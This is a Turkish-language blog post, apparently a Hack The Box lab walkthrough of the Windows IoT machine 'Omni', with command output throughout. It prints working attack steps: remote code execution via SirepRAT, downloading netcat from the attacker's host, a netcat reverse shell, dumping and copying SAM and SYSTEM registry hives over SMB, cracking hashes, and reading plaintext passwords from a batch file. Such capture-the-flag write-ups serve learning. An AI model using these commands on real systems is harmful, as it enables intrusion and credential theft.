{"id":1475,"date":"2021-08-10T10:06:04","date_gmt":"2021-08-10T10:06:04","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1475"},"modified":"2021-08-10T10:06:04","modified_gmt":"2021-08-10T10:06:04","slug":"omni","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/08\/10\/omni\/","title":{"rendered":"Omni"},"content":{"rendered":"\n\n\n\n\n
Makine Ad\u0131<\/th>\nSeviye<\/th>\nOS<\/th>\nLogo<\/th>\n<\/tr>\n<\/thead>\n
Omni<\/a> – HTB<\/td>\nOrta<\/td>\nWindows<\/td>\n\"\"<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Walkthrough<\/h2>\n

nmap taramas\u0131 ile ba\u015flayal\u0131m.<\/p>\n

PORT      STATE SERVICE  VERSION\n135\/tcp   open  msrpc    Microsoft Windows RPC\n5985\/tcp  open  vsman     Microsoft IIS httpd \n8080\/tcp  open  proxy     Microsoft IIS httpd\n|_http-server-header: Microsoft-HTTPAPI\/2.0\n29817\/tcp open  unknown\n29819\/tcp open  arcserve ARCserve Discovery\n29820\/tcp open  unknown\nService Info: Host: PING; OS: Windows; CPE: cpe:\/o:microsoft:windows<\/code><\/pre>\n
\u0130nternette yapt\u0131\u011f\u0131m ara\u015ft\u0131rmalar sonucu makinede bir Windows IOT oldu\u011funu anlad\u0131m (8080’e gitti\u011fimde bana bir pop-up \u00e7\u0131kart\u0131yordu burdaki kelimeleri google’lad\u0131m) ve bununla ilgili ara\u015ft\u0131rmalar yaparken SirepRAT isimli bir github projesi buldum.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Omni]\n\u2514\u2500# git clone https:\/\/github.com\/kudayDOTsite\/SirepRAT.git         \nCloning into 'SirepRAT'...\nremote: Enumerating objects: 217, done.\nremote: Counting objects: 100% (156\/156), done.\nremote: Compressing objects: 100% (93\/93), done.\nremote: Total 217 (delta 104), reused 105 (delta 61), pack-reused 61\nReceiving objects: 100% (217\/217), 6.39 MiB | 629.00 KiB\/s, done.\nResolving deltas: 100% (131\/131), done.<\/code><\/pre>\n
Denemelerim sonucu uzaktan kod y\u00fcr\u00fctebildim.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Omni\/SirepRAT]\n\u2514\u2500# python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "powershell" --args " hostname"                                     \n\n<HResultResult | type: 1, payload length: 4, HResult: 0x0>\n<OutputStreamResult | type: 11, payload length: 6, payload peek: 'b'omni\\r\\n''>\n<ErrorStreamResult | type: 12, payload length: 4, payload peek: 'b'\\x00\\x00\\x00\\x00''><\/code><\/pre>\n
Bunun \u00fczerine makineye nc.exe atmaya karar verdim b\u00f6ylece reverse alabilecektim. \u0130lk olarak 32bit yollad\u0131m ancak daha sonras\u0131nda makinenin 64bit oldu\u011funu anlad\u0131m ve 64bit’lik bir exe yollad\u0131m. https:\/\/github.com\/kudayDOTsite\/nc.exe<\/a><\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Omni\/SirepRAT]\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Omni\/SirepRAT]\n\u2514\u2500# python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "powershell" --args "Invoke-WebRequest -Uri http:\/\/10.10.14.5\/nc64.exe -OutFile C:\\\\nc.exe"\n<HResultResult | type: 1, payload length: 4, HResult: 0x0>\n<ErrorStreamResult | type: 12, payload length: 4, payload peek: 'b'\\x00\\x00\\x00\\x00''><\/code><\/pre>\n
Makinede b\u00fct\u00fcn k\u0131s\u0131tl\u0131 powershell fonksiyonlar\u0131 vard\u0131 ancak Invoke-WebRequest<\/strong> \u00e7al\u0131\u015f\u0131yordu. Kendimde ba\u015flatt\u0131\u011f\u0131m web sunucusundan nc64.exe’yi makineye y\u00fckledim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Omni\/SirepRAT]\n\u2514\u2500# python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\\Windows\\System32\\cmd.exe" --args "\/c C:\\\\nc.exe -e cmd.exe 10.10.14.5 443"             \n<HResultResult | type: 1, payload length: 4, HResult: 0x0><\/code><\/pre>\n
Ve i\u00e7erdeyiz.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Omni\/SirepRAT]\n\u2514\u2500# nc -lvp 443                                                                                                  1 \u2a2f\nlistening on [any] 443 ...\n10.10.10.204: inverse host lookup failed: Unknown host\nconnect to [10.10.14.5] from (UNKNOWN) [10.10.10.204] 49682\nMicrosoft Windows [Version 10.0.17763.107]\nCopyright (c) Microsoft Corporation. All rights reserved.\n\nC:\\windows\\system32><\/code><\/pre>\n
Daha sonras\u0131nda PowerUp.ps1<\/strong> scritini makieye atmaya karar verdim. Scipti a\u015fa\u011f\u0131daki gibi, d\u00fczenleyim sonuna Invoke-AllChecks<\/strong> metodunu direkt olarak \u00e7a\u011f\u0131rmas\u0131n\u0131 sa\u011flad\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Omni]\n\u2514\u2500# tail PowerUp.ps1                                                                                                                                                                                                                     1 \u2a2f\n        $Results | ConvertTo-HTML -Head $Header -Body "<H2>Encrypted Application Pool Passwords<\/H2>" | Out-File -Append $HtmlReportFile\n    }\n    "`n"\n\n    if($HTMLReport) {\n        "[*] Report written to '$HtmlReportFile' `n"\n    }\n}\n\nInvoke-AllChecks<\/code><\/pre>\n
\nPS C:\\Windows\\Temp> Invoke-WebRequest -Uri http:\/\/10.10.14.5\/PowerUp.ps1  -OutFile C:\\Windows\\Temp\\PowerUp.ps1\nInvoke-WebRequest -Uri http:\/\/10.10.14.5\/PowerUp.ps1  -OutFile C:\\\\PowerUp.ps1\nPS C:\\Windows\\Temp> cd .. \ncd ..\nPS C:\\Windows> cd ..\ncd ..\n\nPS C:\\Windows\\Temp> .\/PowerUp.ps1\n.\/PowerUp.ps1\n\n[*] Running Invoke-AllChecks\n[+] Current user already has local administrative privileges!\n\n[*] Checking for unquoted service paths...\nGet-WmiObject : The term 'Get-WmiObject' is not recognized as the name of a \ncmdlet, function, script file, or operable program. Check the spelling of the \nname, or if a path was included, verify that the path is correct and try again.\nAt C:\\Windows\\Temp\\PowerUp.ps1:457 char:21\n+     $VulnServices = Get-WmiObject -Class win32_service | Where-Object ...\n+                     ~~~~~~~~~~~~~\n    + CategoryInfo          : ObjectNotFound: (Get-WmiObject:String) [], Comma \n   ndNotFoundException\n    + FullyQualifiedErrorId : CommandNotFoundException\n\n[*] Checking service executable and argument permissions...\nGet-WMIObject : The term 'Get-WMIObject' is not recognized as the name of a \ncmdlet, function, script file, or operable program. Check the spelling of the \nname, or if a path was included, verify that the path is correct and try again.\nAt C:\\Windows\\Temp\\PowerUp.ps1:488 char:5\n+     Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pat ...\n+     ~~~~~~~~~~~~~\n    + CategoryInfo          : ObjectNotFound: (Get-WMIObject:String) [], Comma \n   ndNotFoundException\n    + FullyQualifiedErrorId : CommandNotFoundException\n\n[*] Checking service permissions...\nGet-WmiObject : The term 'Get-WmiObject' is not recognized as the name of a \ncmdlet, function, script file, or operable program. Check the spelling of the \nname, or if a path was included, verify that the path is correct and try again.\nAt C:\\Windows\\Temp\\PowerUp.ps1:534 char:17\n+     $Services = Get-WmiObject -Class win32_service | Where-Object {$_ ...\n+                 ~~~~~~~~~~~~~\n    + CategoryInfo          : ObjectNotFound: (Get-WmiObject:String) [], Comma \n   ndNotFoundException\n    + FullyQualifiedErrorId : CommandNotFoundException\n\n[*] Checking %PATH% for potentially hijackable .dll locations...\n\nHijackablePath : C:\\windows\\system32\\\nAbuseFunction  : Write-HijackDll -OutputFile \n                 'C:\\windows\\system32\\\\wlbsctrl.dll' -Command '...'\n\nHijackablePath : C:\\windows\\\nAbuseFunction  : Write-HijackDll -OutputFile 'C:\\windows\\\\wlbsctrl.dll' \n                 -Command '...'\n\nHijackablePath : C:\\windows\\System32\\OpenSSH\\\nAbuseFunction  : Write-HijackDll -OutputFile \n                 'C:\\windows\\System32\\OpenSSH\\\\wlbsctrl.dll' -Command '...'\n\nHijackablePath : C:\\windows\\System32\\Wbem\\\nAbuseFunction  : Write-HijackDll -OutputFile \n                 'C:\\windows\\System32\\Wbem\\\\wlbsctrl.dll' -Command '...'\n\nHijackablePath : C:\\windows\\System32\\WindowsPowerShell\\v1.0\\\nAbuseFunction  : Write-HijackDll -OutputFile \n                 'C:\\windows\\System32\\WindowsPowerShell\\v1.0\\\\wlbsctrl.dll' \n                 -Command '...'\n\n[*] Checking for AlwaysInstallElevated registry key...\n\n[*] Checking for Autologon credentials in registry...\n\n[*] Checking for vulnerable registry autoruns and configs...\n\n[*] Checking for vulnerable schtask files\/configs...\n\n[*] Checking for unattended install files...\n\n[*] Checking for encrypted web.config strings...\n\n[*] Checking for encrypted application pool and virtual directory passwords...\n\nPS C:\\Windows\\Temp> <\/code><\/pre>\n
Zaten localadmin oldu\u011fumu s\u00f6yl\u00fcyordu. Ancak Flag’leri okuyabilmek i\u00e7in kullan\u0131c\u0131lar\u0131 ele ge\u00e7irmem gerekti\u011fini anlad\u0131m.<\/p>\n
\nPS C:\\Windows\\Temp> reg save hklm\\sam sam.bkg      \nreg save hklm\\sam sam.bkg\nThe operation completed successfully.\nPS C:\\Windows\\Temp> reg save hklm\\security security.bkg\nreg save hklm\\security security.bkg\nThe operation completed successfully.\nPS C:\\Windows\\Temp>  reg.exe save hklm\\system system.bkg\n reg.exe save hklm\\system system.bkg\nThe operation completed successfully.<\/code><\/pre>\n
sam, security ve system dosyalar\u0131n\u0131 kali’me alabilmek i\u00e7in smb ba\u015flatt\u0131m.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Omni\/hash]\n\u2514\u2500# \/usr\/local\/bin\/smbserver.py KUDAY . -smb2support                                                             1 \u2a2f\nImpacket v0.9.24.dev1+20210720.100427.cd4fe47c - Copyright 2021 SecureAuth Corporation\n\n[*] Config file parsed\n[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0\n[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0\n[*] Config file parsed\n[*] Config file parsed\n[*] Config file parsed<\/code><\/pre>\n
PS C:\\Windows\\Temp> copy C:\\Windows\\Temp\\sam.bkg \\\\10.10.14.5\\KUDAY\\sam\ncopy C:\\Windows\\Temp\\sam.bkg \\\\10.10.14.5\\KUDAY\\sam\nPS C:\\Windows\\Temp> copy C:\\Windows\\Temp\\security.bkg \\\\10.10.14.5\\KUDAY\\security.bkg\ncopy C:\\Windows\\Temp\\security.bkg \\\\10.10.14.5\\KUDAY\\security.bkg\nPS C:\\Windows\\Temp> copy C:\\Windows\\Temp\\system.bkg \\\\10.10.14.5\\KUDAY\\system.bkg\ncopy C:\\Windows\\Temp\\system.bkg \\\\10.10.14.5\\KUDAY\\system.bkg\n<\/code><\/pre>\n
Daha sonras\u0131nda hashleri k\u0131rmay\u0131 denedim.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Omni\/hash]\n\u2514\u2500# \/usr\/bin\/impacket-secretsdump -sam sam -system system.bkg -security security.bkg LOCAL\nImpacket v0.9.24.dev1+20210720.100427.cd4fe47c - Copyright 2021 SecureAuth Corporation\n\n[*] Target system bootKey: 0x4a96b0f404fd37b862c07c2aa37853a5\n[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)\nAdministrator:500:aad3b435b51404eeaad3b435b51404ee:a01f16a7fa376962dbeb29a764a06f00:::\nGuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nDefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nWDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:330fe4fd406f9d0180d67adb0b0dfa65:::\nsshd:1000:aad3b435b51404eeaad3b435b51404ee:91ad590862916cdfd922475caed3acea:::\nDevToolsUser:1002:aad3b435b51404eeaad3b435b51404ee:1b9ce6c5783785717e9bbb75ba5f9958:::\napp:1003:aad3b435b51404eeaad3b435b51404ee:e3cb0651718ee9b4faffe19a51faff95:::\n[*] Dumping cached domain logon information (domain\/username:hash)\n[*] Dumping LSA Secrets\n[*] DPAPI_SYSTEM \ndpapi_machinekey:0xdc2beb4869328393b57ea9a28aeff84932c3e3ef\ndpapi_userkey:0x6760a0b981e854b66007b33962764d5043f3d013\n[*] NL$KM \n 0000   14 07 22 73 99 42 B0 ED  F5 11 9A 60 FD A1 10 EF   .."s.B.....`....\n 0010   DF 19 3C 6C 22 F2 92 0C  34 B1 6D 78 CC A7 0D 14   ..<l"...4.mx....\n 0020   02 7B 81 04 1E F6 1C 66  69 75 69 84 A7 31 53 26   .{.....fiui..1S&\n 0030   A3 6B A9 C9 BF 18 A8 EF  10 36 DB C2 CC 27 73 3D   .k.......6...'s=\nNL$KM:140722739942b0edf5119a60fda110efdf193c6c22f2920c34b16d78cca70d14027b81041ef61c6669756984a7315326a36ba9c9bf18a8ef1036dbc2cc27733d\n[*] Cleaning up...\n<\/code><\/pre>\n
app kullan\u0131c\u0131s\u0131n\u0131 internette k\u0131rd\u0131m ancak di\u011fer kullan\u0131c\u0131lar\u0131 k\u0131ramad\u0131m.<\/p>\n
app:mesh5143<\/code><\/pre>\n
Makinede bu kullan\u0131c\u0131ya ge\u00e7i\u015f yapmam gerekiyordu wsman servisinin a\u00e7\u0131k olmas\u0131na ra\u011fmen uzaktan ba\u011flant\u0131 kuramad\u0131m. Bende makine i\u00e7erisinde enum yapmaya devam ettim. Bu esnada ilgin\u00e7 bir \u015fey farkettim. PING arac\u0131 localadmin haklar\u0131 ile \u00e7al\u0131\u015f\u0131yrdu bu biraz tuhaf…<\/p>\n
\nget-process -IncludeUserName | select Id, UserName, ProcessName, Path\n\n  Id UserName                     ProcessName                                  \n  -- --------                     -----------                                  \n2912 OMNI\\DefaultAccount          backgroundTaskHost                           \n  32 NT AUTHORITY\\SYSTEM          cmd                                          \n1412 NT AUTHORITY\\SYSTEM          cmd                                          \n1884 NT AUTHORITY\\SYSTEM          cmd                                          \n1928 NT AUTHORITY\\SYSTEM          cmd                                          \n2608 NT AUTHORITY\\SYSTEM          cmd                                          \n3676 NT AUTHORITY\\SYSTEM          cmd                                          \n1192 NT AUTHORITY\\SYSTEM          conhost                                      \n1196 NT AUTHORITY\\SYSTEM          conhost                                      \n2700 OMNI\\DefaultAccount          conhost                                      \n2892 NT AUTHORITY\\SYSTEM          conhost                                      \n3892 NT AUTHORITY\\SYSTEM          conhost                                      \n 388                              csrss                                        \n 616 Window Manager\\DWM-0         dwm                                          \n1920 NT AUTHORITY\\SYSTEM          ebootpinger                                  \n   0                              Idle                                         \n3144 OMNI\\DefaultAccount          IoTCoreDefaultApp                            \n2692 OMNI\\DefaultAccount          IoTShell                                     \n 516 NT AUTHORITY\\SYSTEM          lsass                                        \n2372 NT AUTHORITY\\SYSTEM          nc                                           \n3848 NT AUTHORITY\\SYSTEM          PING                                         \n1348 NT AUTHORITY\\SYSTEM          powershell                                   \n2592 NT AUTHORITY\\SYSTEM          powershell                                   \n3516 NT AUTHORITY\\SYSTEM          powershell                                   \n 104                              Registry                                     \n2556 OMNI\\DefaultAccount          RuntimeBroker                                \n3552 OMNI\\DefaultAccount          RuntimeBroker                                \n3728 OMNI\\DefaultAccount          RuntimeBroker                                \n4040 NT AUTHORITY\\SYSTEM          SearchIndexer                                \n 496                              services                                     \n2292 OMNI\\DefaultAccount          sihost                                       \n 308                              smss                                         \n 360 NT AUTHORITY\\SYSTEM          svchost                                      \n 624 NT AUTHORITY\\SYSTEM          svchost                                      \n 732 NT AUTHORITY\\NETWORK SERVICE svchost                                      \n 832 NT AUTHORITY\\SYSTEM          svchost                                      \n 840 NT AUTHORITY\\LOCAL SERVICE   svchost                                      \n 852 NT AUTHORITY\\LOCAL SERVICE   svchost                                      \n 952 NT AUTHORITY\\SYSTEM          svchost                                      \n 980 NT AUTHORITY\\LOCAL SERVICE   svchost                                      \n1028 NT AUTHORITY\\NETWORK SERVICE svchost                                      \n1204 NT AUTHORITY\\LOCAL SERVICE   svchost                                      \n1328 NT AUTHORITY\\LOCAL SERVICE   svchost                                      \n1336 NT AUTHORITY\\LOCAL SERVICE   svchost                                      \n1448 NT AUTHORITY\\LOCAL SERVICE   svchost                                      \n1708 NT AUTHORITY\\SYSTEM          svchost                                      \n1716 NT AUTHORITY\\SYSTEM          svchost                                      \n1740 NT AUTHORITY\\SYSTEM          svchost                                      \n1752 NT AUTHORITY\\LOCAL SERVICE   svchost                                      \n2312 OMNI\\DefaultAccount          svchost                                      \n2712                              svchost                                      \n3296 NT AUTHORITY\\SYSTEM          svchost                                      \n   4                              System                                       \n1804 NT AUTHORITY\\SYSTEM          WebManagement                                \n3012 OMNI\\DefaultAccount          WindowsInternal.ComposableShell.Experience...\n 456                              wininit                                      \n 660 NT AUTHORITY\\LOCAL SERVICE   WUDFHost                                     \n\nPS C:\\Data\\Users\\administrator> get-process PING | select *\nget-process PING | select *\n\nHandleCount                : 0\nName                       : PING\nId                         : 3172\nPriorityClass              : BelowNormal\nFileVersion                : \nTotalProcessorTime         : 00:00:00.0156250\nSI                         : 0\nHandles                    : 0\nVM                         : 2203368640512\nWS                         : 3055616\nPM                         : 868352\nNPM                        : 5328\nPath                       : C:\\windows\\system32\\PING.EXE\nCompany                    : \nCPU                        : 0.015625\nProductVersion             : \nDescription                : \nProduct                    : \n__NounName                 : Process\nSafeHandle                 : Microsoft.Win32.SafeHandles.SafeProcessHandle\nBasePriority               : 6\nExitCode                   : \nHasExited                  : False\nExitTime                   : \nMachineName                : .\nMaxWorkingSet              : 1413120\nMinWorkingSet              : 204800\nModules                    : {System.Diagnostics.ProcessModule (PING.EXE), \n                             System.Diagnostics.ProcessModule (ntdll.dll), \n                             System.Diagnostics.ProcessModule \n                             (KERNELBASE.dll), \n                             System.Diagnostics.ProcessModule (msvcrt.dll)...}\nNonpagedSystemMemorySize64 : 5328\nPagedMemorySize64          : 868352\nPagedSystemMemorySize64    : 26120\nPeakPagedMemorySize64      : 868352\nPeakWorkingSet64           : 3059712\nPeakVirtualMemorySize64    : 2203368640512\nPriorityBoostEnabled       : True\nPrivateMemorySize64        : 868352\nProcessName                : PING\nProcessorAffinity          : 15\nSessionId                  : 0\nStartInfo                  : \nThreads                    : {1832, 1700, 872, 592...}\nVirtualMemorySize64        : 2203368640512\nEnableRaisingEvents        : False\nStandardInput              : \nStandardOutput             : \nStandardError              : \nWorkingSet64               : 3055616\nMainModule                 : System.Diagnostics.ProcessModule (PING.EXE)\nPrivilegedProcessorTime    : 00:00:00.0156250\nStartTime                  : 8\/9\/2021 12:14:14 PM\nUserProcessorTime          : 00:00:00<\/code><\/pre>\n
Makine i\u00e7erisinde Scheduled Tasks <\/strong> oldu\u011fu \u00e7ok belli. Daha iyi bir ara\u015ft\u0131rma i\u00e7in https:\/\/github.com\/azmatt\/windowsEnum\/blob\/master\/windowsEnum.bat<\/a> bat dosyas\u0131n\u0131 kulland\u0131m.<\/p>\n
\n##################################################### \n################## Scheduled Tasks \n##################################################### \n################## schtasks \/query \/fo LIST \/v \n\nFolder: \\\nHostName:                             omni\nTaskName:                             \\revert\nNext Run Time:                        N\/A\nStatus:                               Running\nLogon Mode:                           Interactive\/Background\nLast Run Time:                        8\/8\/2021 8:27:10 PM\nLast Result:                          267009\nAuthor:                               OMNI\\Administrator\nTask To Run:                          C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\r.bat\nStart In:                             N\/A\nComment:                              N\/A\nScheduled Task State:                 Enabled\nIdle Time:                            Disabled\nPower Management:                     Stop On Battery Mode, No Start On Batteries\nRun As User:                          SYSTEM\nDelete Task If Not Rescheduled:       Disabled\nStop Task If Runs X Hours and X Mins: 72:00:00\nSchedule:                             Scheduling data is not available in this format.\nSchedule Type:                        At system start up\nStart Time:                           N\/A\nStart Date:                           N\/A\nEnd Date:                             N\/A\nDays:                                 N\/A\nMonths:                               N\/A\nRepeat: Every:                        N\/A\nRepeat: Until: Time:                  N\/A\nRepeat: Until: Duration:              N\/A\nRepeat: Stop If Still Running:        N\/A\n<\/code><\/pre>\n
Buradaki c.bat dosyas\u0131n\u0131 okuyunca kullan\u0131c\u0131 bilgilerini ele ge\u00e7irdim.<\/p>\n
\n PS C:\\Data\\Users\\administrator> cat "C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\r.bat"\ncat "C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\r.bat"\n@echo off\n\n:LOOP\n\nfor \/F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i \/delete\n\nnet user app mesh5143\nnet user administrator _1nt3rn37ofTh1nGz\n\nping -n 3 127.0.0.1\n\ncls\n\nGOTO :LOOP\n\n:EXIT<\/code><\/pre>\n
Art\u0131k 8080’de \u00e7al\u0131\u015fan uygulamaya login olabilirdim. Login olduktan sonra http:\/\/10.10.10.204:8080\/#Run%20command<\/a>           adresinden komut \u00e7al\u0131\u015ft\u0131rabildim. Zaten makinede y\u00fckl\u00fc olan nc64.exe ile reverse ald\u0131m. \u0130lk reverse’\u00fcm\u00fc Administrator ile ald\u0131m.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Omni\/SirepRAT]\n\u2514\u2500# nc -lvp 80                                                                                                   1 \u2a2f\nlistening on [any] 80 ...\n10.10.10.204: inverse host lookup failed: Unknown host\nconnect to [10.10.14.5] from (UNKNOWN) [10.10.10.204] 49674\nMicrosoft Windows [Version 10.0.17763.107]\nCopyright (c) Microsoft Corporation. All rights reserved.\n\nC:\\windows\\system32>cd C:\\\ncd C:\\\n\nC:\\>dir "*user*.txt" \/s \/p\ndir "*user*.txt" \/s \/p\n Volume in drive C is MainOS\n Volume Serial Number is 3C37-C677\n\n Directory of C:\\Data\\Users\\app\n\n07\/04\/2020  09:53 PM             1,958 user.txt\n               1 File(s)          1,958 bytes\n\n     Total Files Listed:\n               1 File(s)          1,958 bytes\n               0 Dir(s)     583,110,656 bytes free\n\nC:\\>cd C:\\Data\\Users\\app\ncd C:\\Data\\Users\\app\n\nC:\\Data\\Users\\app>powershell\npowershell\nWindows PowerShell \nCopyright (C) Microsoft Corporation. All rights reserved.\n\nPS C:\\Data\\Users\\app> (Import-CliXml -Path user.txt).GetNetworkCredential().Password\n(Import-CliXml -Path user.txt).GetNetworkCredential().Password\n7cfd50f6bc34db3204898f1505ad9d70\n<\/code><\/pre>\n
Burdaki flagi okurken yard\u0131m ald\u0131\u011f\u0131m sayfa: https:\/\/mcpmag.com\/articles\/2017\/07\/20\/save-and-read-sensitive-data-with-powershell.aspx<\/a><\/p>\n
Daha sonras\u0131nda app kullan\u0131c\u0131s\u0131 ile reverse ald\u0131m.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Omni\/SirepRAT]\n\u2514\u2500# nc -lvp 80                                                                                                   1 \u2a2f\nlistening on [any] 80 ...\n10.10.10.204: inverse host lookup failed: Unknown host\nconnect to [10.10.14.5] from (UNKNOWN) [10.10.10.204] 49675\nMicrosoft Windows [Version 10.0.17763.107]\nCopyright (c) Microsoft Corporation. All rights reserved.\n\nC:\\windows\\system32>cd C:\\\ncd C:\\\n\nC:\\>dir "*root*txt" \/s \/p\ndir "*root*txt" \/s \/p\n Volume in drive C is MainOS\n Volume Serial Number is 3C37-C677\n\n Directory of C:\\Data\\Users\\administrator\n\n07\/04\/2020  09:48 PM             1,958 root.txt\n               1 File(s)          1,958 bytes\n\n     Total Files Listed:\n               1 File(s)          1,958 bytes\n               0 Dir(s)     583,110,656 bytes free\n\nC:\\>cd C:\\Data\\Users\\administrator\ncd C:\\Data\\Users\\administrator\n\nC:\\Data\\Users\\administrator>powershell\npowershell\nWindows PowerShell \nCopyright (C) Microsoft Corporation. All rights reserved.\n\nPS C:\\Data\\Users\\administrator> (Import-CliXml -Path root.txt).GetNetworkCredential().Password\n(Import-CliXml -Path root.txt).GetNetworkCredential().Password\n5dbdce5569e2c4708617c0ce6e9bf11d\nPS C:\\Data\\Users\\administrator> \n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
Makine Ad\u0131 Seviye OS Logo Omni – HTB Orta Windows Walkthrough nmap taramas\u0131 ile ba\u015flayal\u0131m. PORT STATE SERVICE VERSION 135\/tcp open msrpc Microsoft Windows RPC…<\/p>\n
Devam\u0131n\u0131 okuOmni<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498,468],"tags":[598,599],"class_list":["post-1475","post","type-post","status-publish","format-standard","hentry","category-walkthrough","category-windows","tag-scheduled-tasks","tag-windows-iot","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1475","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1475"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1475\/revisions"}],"predecessor-version":[{"id":1476,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1475\/revisions\/1476"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1475"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1475"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1475"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}